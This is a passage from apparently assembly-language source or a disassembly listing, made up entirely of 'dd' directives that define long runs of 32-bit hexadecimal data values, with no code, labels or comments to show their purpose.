590E4DFh, 733D746h, 563751F0h dd 0A9D9906Eh, 1E004165h, 5E59D1F9h, 91AF0Ah, 9BC93898h dd 266C4E45h, 0B8F55200h, 0FF23E667h, 2EF27533h, 718689Fh dd 72E030E2h, 0C1E3DE09h dd 8B837698h, 0D1BACB02h, 4010663Fh, 1D6883h, 1B0D383Eh dd 9F671628h, 0B5EE4000h, 2BEF5B98h, 85EEE8h, 0F3E3F94Ah dd 0F8B91883h, 13578700h, 0E41D00Dh, 6CC30EA6h, 0A3A9FB0Fh dd 0B839D01h, 0C636C0ECh, 275A7003h, 4BC0B0h, 95826650h dd 532C9680h, 804EA33Bh, 0AC070A22h, 0C0C369D6h, 0D7541CDAh dd 9008981h, 0C7905030h, 503FB8D4h, 0D0D1B4h, 736BC4A4h dd 0F29E31DFh, 0AE300800h, 69903A82h, 9634388Eh, 9FC1D80h dd 3BD45F6Bh, 0FA8D4100h, 26240414h, 78CE00BCh, 1699C3B0h dd 5B01BF82h, 0F6A99715h, 0B6F00E9Ch, 95190062h, 3E50DDD9h dd 9900EB10h, 9F3D61C7h, 0AB98B3h, 0A64F8D45h, 0E144924Dh dd 132D8F58h, 0AB3FFEh, 0FCAB1D97h, 0C7009B78h, 0BB7B6AA4h dd 0F6BA4Fh, 199F8E97h, 0D85095E4h, 343ABFE2h, 5E458015h dd 97E88CA1h, 47290h, 0F9C9C57Fh, 0DFCE0E9Fh, 9CEE1D00h dd 0D525A2EDh, 4EF13E08h, 4E7AD29Eh, 0E2E056E8h, 35655E9Eh dd 0C6BEB30Bh, 7C0903F4h, 8825C866h, 0FE4303ADh, 8B4B164Ch dd 4A994888h, 0E2F06200h, 0DFEAE4FDh, 60407355h, 433F72C5h dd 0E90FDA7Ah, 65B49Bh, 141F9207h, 2F8F433h, 0F9390479h dd 0F4814A54h, 0F8DC99D4h, 0AEB0E689h, 75F01A50h, 9BC40C00h dd 0B9FDCDF9h, 934A0007h, 804D210Bh, 0CFE22435h, 0C2AFE700h dd 5BC06583h, 0EFAC00B0h, 5455961Bh, 34008BC8h, 24B679CEh dd 186938F2h, 7937F80Eh, 0DD42CA95h, 0DBE3409Fh, 81766743h dd 0A9FA4000h, 2DCB486h, 0AF8B00F3h, 2F41D501h, 12008DF8h dd 56B9D7C0h, 886719h, 8958814Ch, 7CDDD203h, 0DB092E00h dd 0B7F0D68Bh, 9E730008h, 1E9BBDECh, 72E03BE3h, 0AD5F340Fh dd 870CB60Eh, 3D300Ah, 0A769A58Dh, 109789C2h, 6F1AAA0Eh dd 0B081C0DDh, 0EF9693h, 0BCD2CEF7h, 0DCA375F1h, 3633B900h dd 0B04C635Bh, 65FEF5h, 0E8E183A9h, 0C5B775C0h, 9B5E3500h dd 0C37B90A1h, 416A0E24h, 8460408Bh, 98F80809h, 3C95540Eh dd 0B950E1B0h, 6DE01DC9h, 52CB0123h, 0BB53BD02h, 4B2880FFh dd 0D61E875Eh, 504400D5h, 0F68D6D86h, 0B000936Ch, 0A02179CCh dd 0A862C6h, 57F829Bh, 7E54090Ah, 57488900h, 70AD8E6Ch dd 0A856039Ch, 0B1FE3A1Eh, 0CFDF63B0h, 2C626500h, 16E78EA9h dd 585E0077h, 11D4DD4Ch, 0B10017CBh, 0B2E990D2h, 248B4E46h dd 0F0F162h, 0C737323Ah, 0C4028D03h, 4D6325D8h, 4844C3h dd 64E08A50h, 394E2A6Eh, 53948800h, 0AE8DAB3h, 0C6F10089h dd 0F8DD087Dh, 272A8B2Ch, 9009897h, 0A4B2E864h, 0CC2E59h dd 5195D75h, 0C5F73FA8h, 0FFAAD401h, 2F49EDB5h, 1E8A81F4h dd 6DA1E7h, 0A89B347h, 0C50EDD13h, 0C032C36Fh, 4CD0758h dd 0C29F2C2Dh, 0A8100910h, 88907C00h, 81017E3Eh, 63E8CC1Fh dd 245064A5h, 0A95786h, 9D242794h, 43DE7481h, 0DFEFEE02h dd 0E0A578ABh, 2C8A20AFh, 433C758Fh, 0BAC045CFh, 0AE3F36C4h dd 0EF761FE8h, 3B0821C0h, 81F652h, 15260F06h, 4F33AB5h dd 0D7BF5800h, 921E85C4h, 0B58B8A7h, 80E64E57h, 8E4CA300h dd 0C103906Ah, 95AA8C0Dh, 0EDE000E9h, 96B2A8F7h, 0B81C853Bh dd 0FC0F90C5h, 0E21B20FAh, 0F8F727h, 8EEAAE17h, 67E9E883h dd 7AA3200h, 6F559B7Dh, 1A9F4F4h, 0A3E25BBh, 0F0FFC663h dd 380EA004h, 29B73B33h, 88C42010h, 9ABCB175h, 0F4AA009Ch dd 50B3AE66h, 0CB093223h, 0FA30422h, 629760B7h, 9806D13Ch dd 8EFB0004h, 310DC5B4h, 0BF0059D5h, 0EADBFC15h, 7F8986h dd 23106164h, 0AB3F2EDDh, 3D51631Ch, 0D7920E80h, 0B077C383h dd 2C5D02DCh, 56F354EEh, 59FF3468h, 0D9BA130Bh, 0B6EC0044h dd 0EA73E543h, 24700057h, 13BFA53Bh, 4800A1ECh, 0F5CD1CC2h dd 92B34144h, 7B46E008h, 158E0072h, 8DBAAFD7h, 60B5640Bh dd 21087Ch, 0EC446C69h, 0B4FA86CCh, 1B2E0C02h, 49E84914h dd 80667634h, 0ABAD8F00h, 0AE7CA940h, 68C8FB33h, 51F580BEh dd 0A2F302F2h, 88595D46h, 45ECACC0h, 64D748h, 1DA8E674h dd 12C32Ch, 0D45EB6F3h, 0EAB9F514h, 0EFC40100h, 69BC39DCh dd 3E509083h, 0F7800C58h, 8E022F4Ah, 1A00469Bh, 0C8DA39D8h dd 0E77FC3AAh, 507028F4h, 0EBEBC6h, 4DB0D317h, 0CC13CB81h dd 0A800FE73h, 6B644418h, 90F2FD69h, 0A4B715B7h, 0D700D85Dh dd 0AD1D38CBh, 800DFA7h, 9143D442h, 91DCB546h, 683908E4h dd 301F6A60h, 0A6650AF1h, 0ED01814h, 0CFA0A09Fh, 63EEDE7Ch dd 0BE9BFD00h, 28A49A4Bh, 0C36E0088h, 20AF5F95h, 4000C2A2h dd 0A0716F8Ah, 0C7BB4A55h, 0D722C1E8h, 9E37D6E2h, 0F7358304h dd 4CCA0D0h, 0A649048h, 0C5C6FBBBh, 0AFFE00C0h, 0EF88123Bh dd 24294900h, 0E41ED5A3h, 0A4690083h, 208E1F7Fh, 8B00EBFBh dd 0A5983F16h, 0D6AB61h, 2D930409h, 19081129h, 0F3C85E04h dd 4488A368h, 78C95855h, 0A72CCD80h, 437D359Fh, 9CA57226h dd 825C5D83h, 0CFA900ABh, 0E1C6F9C4h, 59281D3Fh, 0DD07ECA7h dd 0B95F50A3h, 47D96530h, 93490078h, 872BEFBAh, 0D8782F4Bh dd 18EE0A24h, 809DA80Bh, 7CF84774h, 94680EE6h, 0CBC03164h dd 0ED2A2920h, 8798D700h, 0F7D33337h, 3AAC0330h, 0A083ABC1h dd 46234FC0h, 9DDD3D00h, 0D78A3871h, 1270E153h, 0B0D40E32h dd 77418DA6h, 0FC7B6405h, 0D33B2F2Eh, 70F6070Eh, 0E0E03E8Ah dd 5149D78h, 0A7CFD858h, 2F9C0057h, 0CDEF6FD0h, 1420300h dd 65F0E10Dh, 0D4A2009Fh, 0ADD9685Ch, 270002F4h, 0AE892272h dd 62F236C7h, 7E1D4042h, 0A0CF9884h, 0A4EA404Ch, 79014776h dd 9D6E5A3Fh, 16844487h, 0CB2C5FC4h, 8D9D04F8h, 50D04862h dd 5CC1479Bh, 40803C70h, 0B1AFF654h, 145B60C0h, 907EC21Eh dd 10497BCCh, 3CA2ECFDh, 99598750h, 7FD14D8Dh, 7ADD6B37h dd 58FA7820h, 7C023AF0h, 0F7DFDE01h, 30A438C5h, 8AD31C0h dd 0A7350192h, 229F6CCFh, 78363001h, 64006F4Bh, 3B40EC52h dd 88E00096h, 6A9A853h, 2F0069A1h, 3447D454h, 1EFA14D6h dd 0E2419B7h, 3A400597h, 632309DFh, 0B4093D75h, 3263435h dd 0E8F64C98h, 0BDBD7h, 0C8BDC638h, 8EC359Ch, 1E1F0A02h dd 0C08E8783h, 3AD640h, 0F52C8AC3h, 3422416Eh, 0E44BA100h dd 3FFA663Dh, 8B25002Fh, 0D30B9803h, 0A8001449h, 3BED7C1Fh dd 0C6AF6Ah, 9DAB9710h, 0FF9E1674h, 91D73601h, 0E7B2962Ah dd 7612E2F4h, 34D51DBBh, 0C27E8074h, 0CBA6F1EAh, 356B5300h dd 8F695188h, 5D200068h, 0AD6AFACFh, 0AEF0A26Eh, 1EB01202h dd 60ACE384h, 1E4224C4h, 0C0152AE8h, 56CC677Eh, 5400BF02h dd 209B45B5h, 0E60CA033h, 1AFC6Bh, 9E0FC879h, 0FDA33855h dd 8C509600h, 534D6C4h, 0FBA7002Fh, 0DD5794EAh, 24008E32h dd 0AFCEDEE8h, 0B6263h, 0D743A39h, 0C1169D7Ah, 0CC372400h dd 26405436h, 0E4EB240Eh, 4B4F9D10h, 0DC07A209h, 68D8D032h dd 20FDAEFFh, 7A01F718h, 21C1C4D1h, 19D4896Eh, 0DC590E6Ah dd 0DB607D91h, 0B5BCE449h, 9E009CFAh, 635FC80Bh, 0C4DDF84Bh dd 0C6447280h, 8E008110h, 0DF413378h, 3018C9D9h, 4989E3C6h dd 467436DBh, 0F5E98014h, 264F0A0Ch, 3E1E500Ch, 45FD1380h dd 6C4B8ECh, 56C27250h, 57001207h, 1CE5F8C8h, 0E2B0941Fh dd 0E43707A5h, 6023273Eh, 0B69A5C3Dh, 7897C700h, 0F2D392A7h dd 4C475C0Ch, 8A00F459h, 114EAF33h, 0AE002A95h, 0A8DCF90Bh dd 0A09B0A94h, 0F726FB4h dd 0B562EC40h, 17A25D80h, 4516DEF8h, 0BC4047FCh, 1FA96679h dd 23BC39B9h, 9CCDD68Eh, 40F852A1h, 0D3C07B0Bh, 3028E015h dd 2D589287h, 3800B9C0h, 4794BF0Ch, 4AE182h, 0B417569Bh dd 0C4070D04h, 2266515h, 0C2AC0088h, 0BE83BDE4h, 8D3B0459h dd 0C6F6C697h, 400020F2h, 44266876h, 708B74FFh, 0C3EEC5h dd 0B51BB352h, 0EB25841Dh, 4800F973h, 2A53BC0Fh, 1E3413h dd 76A37FC1h, 0B40C80E1h, 22FD7A0Fh, 5DBE00C8h, 181BEDFFh dd 0F0C020B7h, 0E5004BD6h, 4F17EF01h, 16331DEh, 0E9938E5Bh dd 5022C5DFh, 31E24A14h, 0EE0FB700h, 3382585Ah, 19890020h dd 0AD597DA5h, 3D01225Fh, 0D6DCE063h, 70D048C3h, 3A20C0CEh dd 4B9114C0h, 331AD707h, 4D605CEFh, 0E412AF3h, 94731C2h dd 98E04480h, 2F00EC6Ch, 0A3C1BBB9h, 0F80CDDDBh, 31C700C9h dd 0EE38E624h, 7C0E327Ah, 2023041h, 791540Bh, 7963B0C4h dd 0B5008245h, 9C0237F1h, 803E9BDDh, 203B6471h, 2707811Eh dd 5CCC3DEEh, 0A5CDD0h, 1AE386DDh, 0FA6E404Dh, 0E0092F66h dd 7FBD0021h, 0D7708D85h, 8101CA55h, 0BE022383h, 789CC793h dd 451ED8h, 684DBA98h, 286FC31Bh, 750960E0h, 583077h, 0DE675760h dd 6F253C33h, 3E162BE0h, 1E001D71h, 0DB7F6639h, 7A8F023h dd 6888C248h, 5C5C063h, 93CAED4h, 777A3BA7h, 7EEBFC00h dd 0C878435Bh, 0C6ED008Dh, 0AEA63588h, 800DB90h, 50239BE2h dd 4C5985h, 45427064h, 9DD8BF0Fh, 1BCC8E0Bh, 85A000E3h dd 0FFEFA5h, 8BC6720Bh, 0F763FECDh, 1F8D6603h, 0E02F8087h dd 90071Ah, 0D7026C7h, 0EC411940h, 0E2F86600h, 0CB5D942Ah dd 6C91003Ch, 0A94AEA15h, 123A609Eh, 0B8450053h, 8ACFFF65h dd 0CDC2008Fh, 0E4281AEh, 7D00748Bh, 89D069F4h, 0F750D7Eh dd 0E90CBB56h, 0BC2C8D03h, 6FB329C0h, 0AF3D28C0h, 7A2C2A4h dd 0F33E2739h, 70868E6Bh, 8A3E2073h, 546000BFh, 92D27A30h dd 0C24F00E9h, 2CFC6F8Bh, 8800BD45h, 0F6950B8Dh, 0E865C0h dd 6FDE7A57h, 2160DFCBh, 0DDF1471Eh, 0C6C05D1Fh, 7298B9BFh dd 3AA40617h, 31401220h, 81D58400h, 0EFCA473Ch, 2526006Ch dd 6EA888DDh, 0B6007C09h, 0C27B381Ch, 3802C59h, 5AE97042h dd 3CE01424h, 0E1184850h, 0F701086h, 0FC7E00E5h, 0E7ADBED9h dd 9E3D24A9h, 0F4608012h, 11BB5DDh, 760E002Ah, 7F78E82Eh dd 0A400F088h, 0C5D11499h, 738D8Ah, 0C018FFFAh, 3BDFF516h dd 0C20168A4h, 0AF74A4D8h, 11081224h, 0BD7740h, 52CA8C82h dd 94074462h, 0CF000D7Dh, 8B182090h, 128F3C42h, 0A851C9h dd 0D14473CCh, 0AA00AC8Eh, 37934A0Fh, 3B3A3CA0h, 0A6001A91h dd 8A442378h, 0B400B0E6h, 6AB239BAh, 144238h, 24BFDCDAh dd 5E042540h, 0E9FCFA00h, 0DDD88331h, 2A854C70h, 0DCAF2600h dd 6D960151h, 5501437Ch, 0DDB8A65Ch, 0B0F383D0h, 739C83Eh dd 0C4BAAE0Ah, 27D52181h, 30DECAFh, 3F1C9600h, 85BD1BBFh dd 8970094h, 0A267AE9Ah, 431C5189h, 6080B68Ch, 2B8EFD09h dd 412C0049h, 7B1A4BE0h, 443FF8DCh, 263A48CAh, 0F6011371h dd 0B6C5BC25h, 38120DC8h, 57001045h, 0E0043AFFh, 0F57186C7h dd 0DDDF3100h, 152342F8h, 145DE6E5h, 805E6292h, 0B80D1863h dd 55000878h, 4AF1E78h, 74FA67Dh, 58CCF381h, 57F19099h dd 9A00EF2Eh, 9E613AB8h, 836D65h, 2984D56h, 0FB0E47Eh dd 8521E660h, 0D7AF97h, 96BA2D79h, 0A3F69C16h, 0E6A96C00h dd 0F0EA34CEh, 0AB58C40Bh, 6EBE30E9h, 977610FCh, 0B990C474h dd 0B5604400h, 6970C562h, 5232DF00h, 6DBFECC8h, 57610039h dd 0BD1698A1h, 9C0046EDh, 0E8EA31FFh, 791547C8h, 0F6C300E6h dd 0F806530Bh, 0E00135E4h, 176099CFh, 543046D9h, 0D2D11705h dd 0BB5605D0h, 4BA4806Dh, 0EE60A7D8h, 4ABF9910h, 0A2100A8h dd 0C2EBF85Bh, 6900FFA4h, 26DBCDEh, 1520893h, 9013E10Ch dd 306CD912h, 3D03F58Ah, 0DD86396Eh, 7FB0007Ah, 0A45E9E37h dd 3300F208h, 0CBFC2250h, 7CFB6425h, 0BEF60D72h, 0A622BAAh dd 0DCA2C444h, 814A7437h, 0F89892A8h, 1805A6A0h, 0F301BA16h dd 0EC7FC044h, 867D037h, 734377FFh, 0C8009422h, 6684B338h dd 0E66E31h, 23482D59h, 0DC3C6AF0h, 0BCBA143Bh, 0DE030F3Fh dd 81A7C176h, 4FECF5D1h, 0E5660052h, 0D03DC093h, 0C9007AF6h dd 0E6C60AAAh, 5FAF81h, 3E127720h, 0CDEFB6B3h, 0AA877400h dd 7C711CDAh, 8DC90B95h, 0B00889Eh, 0C6B4B633h, 0F23B842Eh dd 48755100h, 134E3AAh, 60793040h, 213A7F0Fh, 9F3FD1C1h dd 1800F021h, 0D914FDE3h, 7DE200E8h, 72C3A8B4h, 130038EBh dd 0FA0730EEh, 35D3714h, 586184E2h, 1FB87CD9h, 8300BEBAh dd 0B235DD3Bh, 0FA27A459h, 73073962h, 0A300FBDCh, 729AC783h dd 0E572AF48h, 0C5799F01h, 65519391h, 0C8E12081h, 82CEFE4Bh dd 0CCA4878h, 0C8D3E399h, 0EA26DCh, 0C625E3D9h, 7487BCDh dd 97FCA390h, 0B6E84100h, 4356D846h, 6F980071h, 889D7ECCh dd 6E29809Fh, 85078CEDh, 10CC5838h, 0FFB2173Fh, 7EDD00D7h dd 0CDE64851h, 0ECE08DE2h, 9005477h, 0DA01D196h, 0D53258h dd 0D9DC61ABh, 0B8FE272Dh, 6C570700h, 860BC3E0h, 0F3190FC5h dd 0EF808945h, 59878FEDh, 636B3Ch, 541C650Fh, 0EA8AD333h dd 64D93E93h, 3725161Ch, 2CC5D160h, 2818C0FBh, 9155DB00h dd 0A29857EEh, 0F26058B0h, 76A6DA00h, 0BDFCD871h, 972F7300h dd 862BECA1h, 3E07908Fh, 0B08058CFh, 35E60C9Eh, 0BF00801Ah dd 0DF7F8574h, 1BE84781h, 5161B0A9h, 0A2A8D690h, 8512E100h dd 0E2F59E2Ah, 0DF900589h, 80136D3Ah, 6BC6574Ch, 35D0A700h dd 0F00E0CADh, 65B00061h, 3D9EE877h, 0C7006BC5h, 0B3EB541h dd 7E4727h, 0F8384F2Ch, 0F6E2E398h, 5A98D754h, 0FFB5D502h dd 40A61020h, 3A553B6h, 0F0847CE3h, 0E9F8C7F7h, 8CA00EACh dd 4101C57Fh, 98B450D1h, 98405D3Dh, 7A7E5Fh, 0D63629E2h dd 0C0B838ABh, 9AAFFF00h, 6532C5C7h, 0E5F200C9h, 6C7640DFh dd 16004AD5h, 0C4C6ADA8h, 713807BAh, 0ECD7005Ah, 8DABC2E5h dd 4001984h, 0DE1F4326h, 7EAF6DCh, 23CE7712h, 0DA164013h dd 632526B0h, 0C5E20003h, 0C688D9h, 95105F1h, 0AC8A054h dd 0C2B7DD00h, 0F904CA90h, 7BC000A3h, 0F463B236h, 0A718C766h dd 0A0086541h, 0DB20C01Fh, 8284F9A5h, 564CEA00h, 7BFE735Eh dd 0B7713905h, 0C60F0676h, 60721DB6h, 0BE07B100h, 22EB14C0h dd 0C29B5C68h, 261B0072h, 0AE23DBA3h, 0EDF0C0BDh, 9AD98560h dd 7FB7CAB5h, 8E0D0233h, 9709C25Eh, 0AFD25881h, 4C0C08C9h dd 950A67B5h, 0E58E326h, 0C0601132h, 0EBB2F875h, 5E3EC600h dd 0F4049E44h, 1BF500F7h, 0B80923D0h, 6200D240h, 885327AAh dd 0DD37B5h, 4EDE6E41h, 23BC7C96h, 2281D8C0h, 736B3C6h dd 911B1A37h, 0A2998087h, 120EEF51h, 0C0A5AE88h, 4B55BD10h dd 0F90C002Eh, 579738D6h, 833979D9h, 6027804Eh, 0B4DE04C0h dd 295A00ECh, 53DAA4CFh, 0A8009043h, 0C66DD546h, 0CB453Ch dd 14DD9EF5h, 7FD4A2EEh, 44754900h, 108F332Ch, 0AE1E00E1h dd 8DEE08Bh, 9D07FF92h, 0DA5AD2BDh, 45F5B4D0h, 444C0027h dd 0E4BCBF41h, 0AA009A3Dh, 215F6E86h, 2F68D3Eh, 57D58E5Eh dd 0D7C8407Dh, 0A3031D69h, 6812A888h, 0CE3D987Ah, 6274FFh dd 6ADD5E02h, 0BC825316h, 21F81430h, 25477Dh, 0C2B491AFh dd 0A17F84B2h dd 8B15F700h, 4D72A31Eh, 25CE0A1Fh, 402C47A8h, 5EDFA2B9h dd 5C0D4508h, 779156h, 9CE0DE10h, 1C86B37Fh, 9EFBC9h, 0F697CFF5h dd 0F901584Fh, 6EF06C46h, 0E980B46Fh, 0E169DFCEh, 576F4967h dd 140F0078h, 0E2861527h, 0CF1B0E39h, 0E58CF691h, 4C000C31h dd 0E850A27h, 3E8C367h, 4084A8D3h, 53D857A4h, 0DF00FB70h dd 7BE2C0AFh, 80C345h, 86B7C263h, 2D35CF43h, 0A6E4BB01h dd 9867C658h, 1752C0DBh, 9B80006Bh, 56BCB1D8h, 0A51873E1h dd 389920AFh, 99310823h, 0BC62AB26h, 5C70003Bh, 76E2C423h dd 77F72C1Eh, 0A98C9502h, 0DD2888C0h, 0B2E31107h, 0BB6D6380h dd 39FC6Ch, 6A933FEFh, 2A3DBFDFh, 25FD1700h, 0F514019Ch dd 276E00B4h, 0DBE27D18h, 81FA229Bh, 0AB00FAEAh, 7CA2CAD5h dd 708F034h, 0B244D73Bh, 0AF30C0E2h, 0F300CEFCh, 9D9401C8h dd 7B7FECCh, 6CF5D8D2h, 405F6F9Eh, 0C8A4CBB2h, 0CC7274D9h dd 0C60C2900h, 7E75E290h, 0F0E0F2h, 0E11AE568h, 0CA02AAAEh dd 42A5BE30h, 0E9159Ah, 0E4DD937Eh, 81105D7Bh, 0E30019FAh dd 7C4F34DAh, 105F9ECh, 83BF9553h, 0CC1C138Bh, 4D1C8162h dd 77000E7Ah, 1E930903h, 145E016Ch, 61C50413h, 63804173h dd 2E8ED0A2h, 0C0D5CF06h, 30387AD0h, 6420971Bh, 390756D7h dd 2075C33h, 0B5DF2720h, 2EF000C0h, 1C5F60Bh, 7F1DE7D5h dd 0F7FE43Eh, 0AFC652h, 0D23F9E07h, 42BF00F6h, 359C5AF5h dd 92005748h, 40393BC4h, 0F05288F3h, 0D712004Eh, 299C7426h dd 893CBC9Ah, 3CBF1Bh, 22879FA4h, 10B1A5h, 0D473C841h dd 0FE828FE5h, 91EB3500h, 0DF204963h, 0B5E60034h, 807CF68Eh dd 45030498h, 380C51C8h, 0F80EB3E5h, 0DB2531h, 7E9C554Fh dd 0AB97221h, 0BD7CA300h, 3681EF3Ah, 96450762h, 0E6DA6EE9h dd 0FF009098h, 64DE86E0h, 16047Fh, 607E8267h, 40F4C10Dh dd 0B7725400h, 9697C6F3h, 0DBF871h, 0C3E484Eh, 0AA12D23Ch dd 0F08F3937h, 7B80C0DEh, 0B6454Fh, 5741060Bh, 25EE598Bh dd 0A8178A04h, 5818A0AFh, 88C53EF3h, 2C42DD96h, 2ED5B58h dd 2C1088CDh, 631F8889h, 0E461B44h, 0A8097FFCh, 4307B3E4h dd 10B5A187h, 821E69B0h, 6D1A4D4h, 59C04061h, 47DEF4E0h dd 9D8311B6h, 4660848h, 6CF70480h, 8C13494Dh, 4255B0CFh dd 2E50151Dh, 47951484h, 2C8272Ch, 0A277B684h, 80625A2Ch dd 29B3A8B4h, 0D1FCA04Fh, 0C6470008h, 0E57B4E89h, 2400A20Dh dd 455F1B64h, 0F6A140h, 92D4B2EEh, 6C989B66h, 91E894E6h dd 5A120300h, 6DC11B46h, 204400CDh, 51826FDBh, 0A200F98Bh dd 86179285h, 0C0150D33h, 264945F8h, 8F00FE14h, 0B8BB2394h dd 18438E31h, 30114E87h, 0CC007B74h, 0A12E872h, 9B88B3h dd 31CA2CAFh, 0BD456BCDh, 0CE3D3EEEh, 0AAF9800Fh, 84335904h dd 0FE7603DAh, 19E83C14h, 96C7EFB0h, 1522300h, 2FDFCCA0h dd 9CC10064h, 0D588C0E0h, 1B001148h, 8120015Ah, 610CF0A7h dd 4DF11023h, 0CD7E2054h, 100F0600h, 95FA1760h, 464F00CFh dd 0F97555B6h, 7F03422Dh, 1447E96Ch, 9632B093h, 651201A9h dd 57DAE15Bh, 3C08BBB3h, 78CB0055h, 8341E9F8h, 0A3073A19h dd 58A82100h, 0C1DDBB04h, 0C28E6207h, 89403C26h, 0E3186Bh dd 88C65FA0h, 9B9EA9CAh, 32B201Ch, 0A3901E80h, 313366Bh dd 0F94310CFh, 0B889593h, 940E1960h, 0A0CB2B02h, 6B168CB6h dd 3A320C4Ah, 0D2200FF8h, 6E277C00h, 3BAF0C9Eh, 47D6002Bh dd 700FEBB9h, 0B7008A44h, 0F3FAD75Eh, 0B5A254h, 45B656B8h dd 0AB1B3D6Fh, 4B84071Eh, 400BB3C0h, 7A7128B7h, 0CB1700CDh dd 2997AFF0h, 0F2005E12h, 62AADDA2h, 0E1C8Bh, 1BF95A39h dd 0E001D2C4h, 0B43BE705h, 0CB80B104h, 76D5E83Dh, 0E5D00065h dd 0BE4A0BB8h, 0BF0F6232h, 42E90D85h, 0E09C9475h, 46493Dh dd 331798C8h, 0F71FC6F1h, 90291800h, 0D3E13FF3h, 53960BE5h dd 1380B257h, 8D8FCCD7h, 0EB6EBA00h, 3D703160h, 17390084h dd 208ED2F4h, 48008C9Ch, 0A576D8E0h, 7D4CDFh, 0A34139FCh dd 9570C9C3h, 6553A600h, 62483DB9h, 5AA7007Ah, 28DFBB1Eh dd 9509D4CFh, 120D4Ah, 0DE9EAD86h, 0A4DA3019h, 674810D0h dd 9890C800h, 443DF440h, 2B1300B9h, 281BB330h, 0E706737Bh dd 7D5ECCC6h, 4126E429h, 10DEC14Ah, 80E866AFh, 6C8962C9h dd 3503A108h, 0D3281C75h, 8B5111E3h, 0D6500866h, 75FF0C45h dd 22844729h, 0E4106E6Dh, 820C49FBh, 0EB786506h, 0C7083E74h dd 8498E9CCh, 343F1C8h, 11666E6Bh, 11421F28h, 0DC0CCB33h dd 1D7948D9h, 0E8090389h, 83839136h, 0B5C8012Dh, 1ACAEC6Bh dd 9D11D44Eh, 717FBF04h, 46802690h, 0FF590Ah, 0F0DEF323h dd 79A1F666h, 0E43F1100h, 19FE95C8h, 13EF00B5h, 3F7618Bh dd 0C53BCDEEh, 6AA800Bh, 0D4291FFFh, 4670063h, 154DFACBh dd 6E000872h, 16AE368Ch, 2E14A3h, 96482ABAh, 0BCB34D7Ah dd 111E1200h, 18A63C69h, 958200C5h, 0D56D1DFCh, 843FEC45h dd 2A4784EAh, 4F80A40Dh, 0B03953h, 3843C341h, 2CE69A85h dd 0F4EE5800h, 0F71E572Bh, 7D88005Bh, 8F68A004h, 9E07F253h dd 0DDC5675Ch, 0F52C8100h, 0B31F0031h, 0CC530952h, 7400EF88h dd 0CB07E125h, 519971h, 0DB292EAFh, 5FCFEEA7h, 0FA7D4900h dd 4D0D3B74h, 0D621007Bh, 0F640DAB0h, 9B00F2BAh, 38E20A65h dd 1E3E10FFh, 0C5E0420Eh, 0BCC2F631h, 9C110032h, 88B59882h dd 464D0366h, 51B36C94h, 53C81E8h, 2D173600h, 1C613B33h dd 570E0732h, 10F7BD14h, 6B36A7D7h, 4D70C514h, 46BE0093h dd 0FCCE57A0h, 305C0026h, 42A82511h, 0CB0F7F75h, 7775665h dd 7B50911Dh, 0FA74D5AEh, 253A0779h, 80F394CCh, 0BE2623E0h dd 1CD11E00h, 0ED8E6D63h, 9A460FC9h, 71209366h, 0E76C2912h dd 0A60FCF78h, 0C10678FCh, 4875DBB3h, 7A2276C4h, 0EADF0042h dd 3920241Dh, 0A5001EE4h, 0E291DA92h, 0A394FAh, 6E37E91Ah dd 4E580EA8h, 0F40ED0F8h, 0A0B2BB34h, 0A575C5CFh, 0EA600007h dd 0E03BB3C7h, 0A700AC1Ah, 671582DDh, 944D13h, 4CE6C807h dd 0FEF1195Bh, 4FA90E00h, 217630C0h, 27390045h, 705634E7h dd 7375E861h, 88C7B200h, 1354F20Dh, 0AB803A9Fh, 0F700FB3Eh dd 0A2BB8507h, 1B008B9Eh, 1E4F5F30h, 0E04666h, 56AFC7EEh dd 206E8DC3h, 33CF30Eh, 2B24E5C0h, 6DB5AEC1h, 1195C8h dd 700D389Eh, 92D526BBh, 0D4994F0Eh, 0BC740F5h, 58F89F98h dd 0BE00FD62h, 2B96B1CFh, 92000940h, 80E56BBDh, 1F9BDD84h dd 8998B03Ch, 140261EDh, 610E6DFEh, 7BBD23D3h, 6869DCh dd 0E4E142D0h, 4A56BF28h, 0AC1ED4F1h, 91B43501h, 7094343Ah dd 0E851D8h, 0D4642041h, 0EBBD2CF2h, 0FC3E4403h, 26B12Ah dd 0F30B8D10h, 0B6EA1163h, 98591828h, 0D0E90F00h, 0AC3BB989h dd 63D0FF5Dh, 854D3093h, 60C4C520h, 546A9E00h, 23EE1CF9h dd 23064CB5h, 3916C840h, 0EB00D442h, 0CAEA24F5h, 0A400223Eh dd 0B63FDE48h, 5CC01Eh, 0AD85A29h, 0D195E7BAh, 2D5DFB02h dd 0E0F2AED4h, 3EFC67Bh, 8512E964h, 2E90B301h, 0FDF0CF47h dd 319AA500h, 0D78E230Eh, 9A600BAh, 0BCB98DC7h, 8C00C2ACh dd 0D091428Fh, 52CAF1h, 1A90C9E2h, 3819481Ch, 0ABEFBA00h dd 3E918F33h, 86B200D0h, 0A0055C0Ah, 0DE00B19Fh, 7A260EE5h dd 7745B981h, 4E270058h, 43EE179Ah, 0F9004010h, 6C726F0Ch dd 20F3CAh dd 8981ADF7h, 0E6386A24h, 8B4ABB00h, 0E1746D19h, 0CB671C6Eh dd 0C1C3C0F5h, 0DF7BFFD6h, 56491400h, 0A83D93DCh, 211A0E7Ah dd 942015BAh, 0BD63D842h, 0B8992400h, 2941CAD6h, 0F2E4037Bh dd 8ECC286h, 7CE0C1F8h, 0A905950Fh, 23AA4004h, 390DE3CCh dd 0B5801359h, 0CE8F814h, 9A00A1BBh, 838F7B45h, 0B11117h dd 0CEC58E18h, 3FF7589h, 529B350Eh, 0AB9260F0h, 125461Ah dd 80FAA415h, 702655DFh, 0A9380DC4h, 0AC1907DAh, 0E30BFB4h dd 0DD1597h, 0BD3E27Ch, 0C7BCCF4h, 0CE027360h, 7F2620E1h dd 5CC80E96h, 6D00856Ah, 5802F989h, 3824E400h, 14BCB44h dd 4A323A6Eh, 9BEC2680h, 52A6035Ch, 0DF5BE70Eh, 0B1880078h dd 946316h, 0A756CE36h, 42A3DEB0h, 62AB1D00h, 0A8CB97E8h dd 7B100AEh, 86BC589Ah, 74002F0Eh, 524BCA90h, 13E2946h dd 0C6C2DB01h, 0C87A8671h, 650049C8h, 0D4105DFEh, 0AF107h dd 0BA3E807Ch, 0FCAE957Bh, 4D006A90h, 77EF1BC9h, 0A9F00Eh dd 3FA3DD2Fh, 0FC4FE435h, 7EC91403h, 0E008B785h, 73C2230h dd 2713A853h, 0FE32F0EAh, 0CCE4A18Ah, 0C91E3F7Ch, 0DC048EEh dd 7D2BF6D2h, 0FA660092h, 0E34310D7h, 0A100E6C2h, 96B9EBF1h dd 0C917B8h, 33812F4Fh, 0E63491FEh, 0A7ADF800h, 0B20E8DACh dd 